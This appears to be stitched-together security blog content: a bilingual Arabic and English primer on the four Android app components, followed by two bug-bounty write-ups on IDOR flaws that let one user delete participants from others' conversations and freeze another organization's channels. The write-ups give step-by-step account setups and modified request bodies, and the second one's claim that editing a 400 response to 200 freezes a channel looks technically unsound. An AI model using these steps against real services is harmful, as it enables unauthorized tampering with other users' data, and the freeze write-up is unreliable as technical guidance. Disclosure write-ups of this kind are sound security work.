من فترة مش كبيرة بدأت اندرويد وكنت حابب اذاكر من بداية الـ Android Development عشان افهم الدنيا أكثر لما ادخل على الـ Android Pentest.

في البوست ده هكتب المنظور السريع عن الـ Four Android Components وكل تعريفها ايه، نبذة عنها وكيفية عملها.

━━━━━━━━━━━━━━━━━━━━━

🧩 أولاً: Activities

الـ Activities عبارة عن الواجهة الرئيسية اللي المستخدم بيتعامل معها سواء تطبيقات أو actions أو غيره، اي حاجة تقريبا المستخدم شايفها قدامه على الـ Android screen تعتبر activity. (بس من المنظور الخارجي عشان لسه هنتطرق لما وراء الـ activity وبتشتغل ازاي)

الـ Activity ليها حاجة اسمها Life-Cycle ودي معناها دورة الحياة بتاعتها، وهي عبارة عن كيفية عمل الـ activity من أول ما تبدأ حتى تنتهي.

وعندنا كذا تعريف للـ Life-Cycle:

▪️ onCreate() — تعني عند إنشاء الـ activity، أو بالعامية أول لما نعمل activity ايه اللي هيحصل بناء على ذلك.

▪️ onStart() — تعني عند البدء، أو لما الـ activity دي تبدأ ايه اللي هيحصل. مثال: لما بتفتح تطبيق معين ممكن يظهرلك إشعار أو notification، دي بتكون رد فعل لوجود onStart function في الكود — اللي هو أول ما البرنامج يبدأ اعمل كذا.

▪️ onResume() ▪️ onPause() ▪️ onStop() ▪️ onDestroy()

كل واحدة بتشرح معناها عموما، وهسيبلك مصدر تحت لشرح كل واحدة لو مش فاهم أو في حاجة واقفة معاك عشان نختصر.

━━━━━━━━━━━━━━━━━━━━━

⚙️ ثانياً: Services

الباشا ده عبارة عن الـ Back-end code اللي بيتطبق ويتم من خلاله تشغيل برامج بدون استخدام الـ UI، وفي نفس الوقت بيتم ترتيب أولوية التشغيل بناء على نوعه.

بالبلدي كده: الـ Activity هي الـ Front-end والـ Service هي الـ Back-end بتاعته.

وهي عبارة عن كود بيتم تنفيذه بدون UI، وتتكون من 3 أنواع:

▪️ Background Service — بيشتغل بشكل كامل في الـ background بدون اي ارتباط بالـ UI.

▪️ Foreground Service — بيشتغل في الـ background بس في شيء بيربطه بالـ UI، زي مثلا لما يكون مشغل record بيظهرلك الـ notification بتاعته في الـ UI وبتسمحلك انك تتحكم فيها.

▪️ Bound Service — بتكون مرتبطة بالـ Activity اللي شغالة في الـ UI.

وبيتم ترتيب الأنواع دي بناء على أولوياتها والترتيب هو:

1. Bound Service
2. Foreground Service
3. Background Service

ليه؟ عشان النوع الأول والتاني هو عبارة عن رسالة للـ System أن الـ notification دي مهمة بالنسبة ليا، حتى لو قفلت التطبيق هيفضل الـ record شغال. على عكس الـ Background Service فبمجرد ما تقفل التطبيق الـ Service هتوقف.

━━━━━━━━━━━━━━━━━━━━━

📡 ثالثاً: Broadcast Receiver

هو عبارة عن إذاعة للـ System.

هتقولي بتهزر؟ هقولك لا والله هو عبارة عن كده فعلا، بس بشكل تقني شوية.

هو عبارة عن بث بيحصل نتيجة حدوث action معين وبيتم استقباله من apps موجود فيها Broadcast Receiver.

مثال: انت لما تيجي تركب headphones في الموبايل مش بيظهرلك notification أن تم الاقتران؟ جميل، بناء على كده في apps بتعرف ان الـ headphones اتركبت برده صح؟ زي SoundCloud وWhatsApp وMessenger وغيره — لأنك بالبديهي هتسمع وتتكلم من خلالها.

طب الـ apps دي عرفت ازاي؟ لأن الـ System بعت رسالة لكل الـ apps على الجهاز أن الـ headphones اتركبت، وكل app عنده Broadcast Receiver استقبل الرسالة دي وتعامل معاها. وفي طبعا apps مفهاش Broadcast Receiver لأنها مش هتحتاجه، زي الـ Calendar مثلا.

دي ببساطة فكرة الـ Broadcast Receiver.

━━━━━━━━━━━━━━━━━━━━━

🗄️ رابعاً: Content Provider

ببساطة هو عبارة عن API بتُستخدم في نقل الـ data من app للتاني.

طبيعة عمله تتمحور حول الوصول لبيانات تطبيق ونقلها لتطبيق آخر بيكون محتاج الداتا دي.

في كذا سؤال هنا:

❓ ليه التطبيق اللي محتاج الداتا مش بياخدها من database الجهاز نفسه وبيروح ياخدها من تطبيق آخر؟

❓ وازاي التطبيق اللي بيـshare الـ data بيعملها share أصلاً؟

بالنسبة للسؤال الأول: انت لو عندك database خاصة بالأسماء وجهات الاتصال على الفون بتاعك، وطبعا الـ Phone app ليه الصلاحية يـaccess عليها. لما تيجي تنزل Truecaller المفروض انه بيحتاج الداتا دي، وعشان ياخدها في طريقين:

▪️ يا من الداتا بيس بتاعة الجهاز نفسه. ▪️ يا من Phone app.

طب ليه بياخدها من Phone app ومش من database الجهاز مباشرة؟ حفاظاً على أمان الجهاز والداتا بتاعته، لأن ممكن يكون في خطر لو app خارجي وصل للـ database المحلية مباشرة. بالتالي انا كـ Phone app هديك يا Truecaller الداتا اللي انت محتاجها عن طريق Content Provider، وأي تحديث في الداتا دي هيوصلك.

بالتالي الـ Content Provider هو عبارة عن حلقة وصل بين الـ apps عشان تـshare specific data مع app معين، لأنك مش محتاج تديله صلاحية الوصول للداتا كاملة طالما تقدر تديله اللي هو عاوزه من خلال Content Provider.

━━━━━━━━━━━━━━━━━━━━━

ده كان شرح مختصر للـ Four Android Components بناءً على فهمي 📖 طبعا وارد يكون في خطأ لأني بشر.

وإن أخطأت فمن عندي ومن الشيطان، وإن أصبت فمن الله والله المستعان.

ادعوا لأخوكم بظهر الغيب يرزقه الله فضلاً 🌹

#AndroidDevelopment #AndroidPentest #MobileSecurity #CyberSecurity

In this post, I’ll write a quick overview of the Four Android Components — what each one is, a brief about it, and how it works.

━━━━━━━━━━━━━━━━━━━━━

🧩 First: Activities

Activities are the main interface that the user interacts with — whether it’s apps, actions, or anything else. Almost anything the user sees on the Android screen is considered an Activity. (From an external perspective for now, since we’ll get into what’s behind the Activity and how it works later.)

The Activity has something called a Life-Cycle, which means its life cycle — basically how the Activity works from the moment it starts until it ends.

We have several definitions within the Life-Cycle:

▪️ onCreate() — Called when the Activity is created. In simple terms: the first time we create an Activity, what happens based on that.

▪️ onStart() — Called when the Activity starts. Example: when you open a specific app and a notification pops up — that’s a reaction to the onStart() function in the code, meaning “as soon as the app starts, do this.”

▪️ onResume() ▪️ onPause() ▪️ onStop() ▪️ onDestroy()

Each one explains itself by its name. I’ll leave a resource below to explain each one in detail if something isn’t clear, just to keep this short.

━━━━━━━━━━━━━━━━━━━━━

⚙️ Second: Services

This one is the back-end code that runs in the background — it executes processes without using the UI, and the running priority is determined based on its type.

Simply put: the Activity is the Front-end, and the Service is its Back-end.

It’s basically code that runs without a UI, and it comes in 3 types:

▪️ Background Service — Runs completely in the background with no connection to the UI.

▪️ Foreground Service — Runs in the background but has something tying it to the UI. For example, when a voice recorder is running, its notification appears in the UI and lets you control it.

▪️ Bound Service — Bound to a currently running Activity in the UI.

These types are prioritized in this order:

1. Bound Service
2. Foreground Service
3. Background Service

Why? Because the first two send a signal to the system that “this notification is important to me” — even if you close the app, the recording keeps going. Unlike a Background Service, which stops as soon as you close the app.

━━━━━━━━━━━━━━━━━━━━━

📡 Third: Broadcast Receiver

It’s basically a broadcast to the System.

You might think I’m joking — but I’m not, that’s literally what it is, just in a slightly technical sense.

It’s a broadcast that happens as a result of a certain action, and it’s received by apps that have a Broadcast Receiver.

Example: When you plug headphones into your phone, don’t you get a notification that they’ve been connected? Right — and based on that, other apps also know the headphones were plugged in. Apps like SoundCloud, WhatsApp, Messenger, and others — because naturally, you’re going to listen and talk through them.

How did those apps know? Because the System sent a message to all apps on the device that headphones were connected, and every app with a Broadcast Receiver picked up that message and reacted accordingly. Of course, some apps don’t have a Broadcast Receiver because they simply don’t need it — like the Calendar, for example.

That’s the idea behind Broadcast Receiver in simple terms.

━━━━━━━━━━━━━━━━━━━━━

🗄️ Fourth: Content Provider

Simply put, it’s an API used to transfer data from one app to another.

Its main purpose revolves around accessing one app’s data and passing it to another app that needs it.

A couple of questions here:

❓ Why doesn’t the app that needs the data just get it directly from the device’s database instead of going through another app?

❓ And how does the app sharing the data share it in the first place?

For the first question: Say you have a database of names and contacts on your phone, and obviously the Phone app has permission to access it. When you install Truecaller, it needs that data — and to get it, there are two ways:

▪️ Directly from the device’s local database. ▪️ From the Phone app itself.

So why get it from the Phone app and not directly from the database? To keep the device and its data safe — because allowing an external app direct access to the local database could be a security risk. So as the Phone app, I’ll give Truecaller exactly the data it needs through a Content Provider, and any updates to that data will be passed along too.

So the Content Provider is basically a link between apps to share specific data with a specific app — because you don’t need to give it full access to all your data when you can just give it exactly what it needs through a Content Provider.

━━━━━━━━━━━━━━━━━━━━━

That was a brief explanation of the Four Android Components based on my own understanding Of course, there’s a chance I got something wrong — I’m only human.

If I’m wrong, it’s from me and from the devil. If I’m right, it’s from God, and God is the one we seek help from.

Please keep me in your prayers 🌹

#AndroidDevelopment #AndroidPentest #MobileSecurity #CyberSecurity

In this write-up, I’ll walk you through a juicy Broken Access Control vulnerability I discovered during a security assessment. It allowed me to delete participants from any conversation belonging to other users — without authorization.

Let’s break it down.

. . .

🧠 Summary

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the participant management endpoint of a private bug bounty program. By abusing this flaw, an attacker could delete participants from conversations they do not own, even across any Personal account.

To perform the attack, the following values are needed:

• conversationId
• participantsUuids
• victim_uuid

. . .

🔧 Accounts Setup

To exploit this, I used a total of 3 accounts:

• 👾 Attacker Accounts: 2
• 👤 Victim Account: 1

🔒 Attacker Side

1. Create Attacker #1.
2. Create Attacker #2.
3. Create messages from both attacker accounts.

🎯 Victim Side

1. Victim creates an account.
2. Victim creates a conversation and invites Attacker #1.
3. Attacker #1 now has visibility into the victim’s conversation.

. . .

🔍 Step 1 — Gathering the Conversation ID

From inside the victim’s conversation, using Attacker #1, I accessed any message and intercepted the request using Burp Suite:

GET /api/conversations HTTP/2
Host: [REDACTED]

The response revealed:

• conversationId

This satisfies Requirement #1.

. . .

🔍 Step 2 — Extracting the Victim’s UUID via IDOR

While still authenticated as the attacker, I made a request to this vulnerable endpoint:

GET /api/contacts/{victim@email.com} HTTP/2
Host: [REDACTED]

The API response revealed:

• user_id
• uuid

💡 Note: Although this endpoint appears to be a simple contact lookup, it exposes sensitive user identifiers to any authenticated user — with zero ownership validation.

📋 Example Response

{
  "email": "victim@email.com",
  "uuid": "xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "display_name": "victim"
}

This satisfies Requirement #2.

. . .

📦 Step 3 — Triggering the Unauthorized Deletion

I switched to Attacker #2, opened any personal conversation, and used the Manage Participants feature to delete a participant. I intercepted the request before forwarding and modified:

• Replace conversationId with victim's conversation ID
• Replace participantsUuids with victim's participant UUID

. . .

✏️ Step 4 — Manipulating the Request

The original request (attacker’s own conversation):

{
  "conversationId": "attacker-conv-id-123",
  "participantsUuids": ["attacker-participant-uuid"]
}

The modified request (targeting victim’s conversation):

{
  "conversationId": "victim-conv-id-456",
  "participantsUuids": ["victim-participant-uuid"]
}

The server responded with:

HTTP/2 204 No Content

✅ Final Response Payload

{
  "conversationId": "victim-conv-id-456",
  "status": "participant_removed",
  "participantsUuids": ["victim-participant-uuid"]
}

. . .

✅ Final Step

• I forwarded the modified request
• The victim’s participant was successfully deleted — without their knowledge or permission

Hey hunters! 👋
In this write-up, I’ll walk you through a juicy IDOR vulnerability I discovered during a security assessment. It allowed me to freeze any open channel in another organization without authorization.

Let’s break it down.

🧠 Summary

An Insecure Direct Object Reference (IDOR) vulnerability was discovered in the freeze function of the platform’s API. By abusing this flaw, an attacker could freeze channels in other organizations, even after being removed from them.

To perform the attack, the following values are needed:

• channel_url
• user_id
• owner_nickname
• cover_url
• app_id

🧪 Accounts Setup

To exploit this, I used a total of 4 accounts:

• 👨‍💻 Attacker Accounts: 3
• 👤 Victim Account: 1

🔐 Attacker Side

1. Create Account A (Owner) for a new attacker organization.
2. Invite Account B as Admin (don’t log in before accepting the invite).
3. After invitation, Account B accepts and joins the attacker org.
4. Create Account C (attacker-controlled), but don’t log in yet.

🎯 Victim Side

1. Victim creates a new organization.
2. Victim invites Account C as Admin.
3. Account C now has admin access to both attacker and victim organizations.

🔍 Step 1 — Gathering Initial Values

From inside the victim’s organization, using Account C, I accessed any open channel and collected:

• channel_url
• app_id

🔎 Step 2 — Extracting Remaining Parameters

While still inside the victim’s org, I made a request to this endpoint:

PUT /platform/v3/open_channels/{channel_url}

The API response revealed:

• user_id
• nickname
• cover_url

💡 Note: Although this appears to be owner-restricted, attacker-admin cookies worked just fine.

🧾 Example Response

{
  "channel_url": "example_open_channel_xxx",
  "name": "victim1",
  "cover_url": "https://static.example.com/sample/cover/cover_13.jpg",
  "freeze": false,
  "operators": [
    {
      "user_id": "xxxxxx",
      "nickname": "victim",
      "profile_url": ""
    }
  ]
}

🧊 Step 3 — Triggering the Freeze

I returned to the attacker’s organization, intercepted the freeze request, and modified:

• Replace channel_url with victim’s channel URL
• Replace app_id in the header with victim’s App-ID

🪄 Step 4 — Manipulating the Response

Initially, the server responded with:

400 Bad Request

So I manually adjusted the response:

• Changed status code to 200 OK
• Injected victim’s data and set:

"freeze": true ==> //Changed from false to true

✅ Final Response Payload

{
  "channel_url": "example_open_channel_246189_xxx",
  "name": "victim1",
  "cover_url": "https://static.example.com/sample/cover/cover_13.jpg",
  "freeze": true,
  "operators": [
    {
      "user_id": "xxxxxx",
      "nickname": "victim",
      "profile_url": ""
    }
  ]
}

✅ Final Step

• I forwarded the modified response
• The victim’s channel was now frozen — without their knowledge or permission